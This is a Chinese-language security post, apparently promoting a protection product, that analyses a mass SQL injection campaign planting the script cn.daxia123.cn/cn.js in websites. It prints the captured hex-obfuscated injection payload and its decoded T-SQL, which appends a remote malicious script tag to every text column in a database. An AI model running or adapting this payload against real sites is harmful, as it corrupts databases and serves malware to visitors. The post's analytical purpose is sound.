cn.daxia123.cn/cn.js挂马完美解决方案

      黑客商业化挂马越来越普遍，用GOOGLE搜索下<script src=http://cn.daxia123.cn/cn.js>

</script>， 约有844,000个网站被挂马。

最终经过安全伞终于抓到木马原型如下：

;dEcLaRe @S VaRcHaR(4000) SeT @s=cAsT(0x4445434C415245204054205641524348415228

323535292C404320564152434841522832353529204445434C415245205461626C655F43757

2736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D6520465

24F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E6

9643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D39

39204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E787

47970653D31363729204F50454E205461626C655F437572736F72204645544348204E455854

2046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404

046455443485F5354415455533D302920424547494E20455845432827555044415445205B27

2B40542B275D20534554205B272B40432B275D3D525452494D28434F4E56455254285641524

34841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687

474703A2F2F636E2E64617869613132332E636E2F636E2E6A733E3C2F7363726970743E2727

2729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040

542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445

205461626C655F437572736F72 aS VaRcHaR(4000));eXeC(@s);

该木马通过Cookie,GET,POST注入挂马，使用搜索引擎自动查找并注入网站，有点蠕虫的性质。

上面cast里面sql语句解密如下

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVER

T(VARCHAR(4000),['+@C+']))+''<script src=http://cn.daxia123.cn/cn.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C END
CLOSE Table_Cursor DEALLOCATE Table_Cursor

安全伞2009企业版可以有效解决类似变相注入问题

官方下载：http://www.safe3.com.cn/download.htm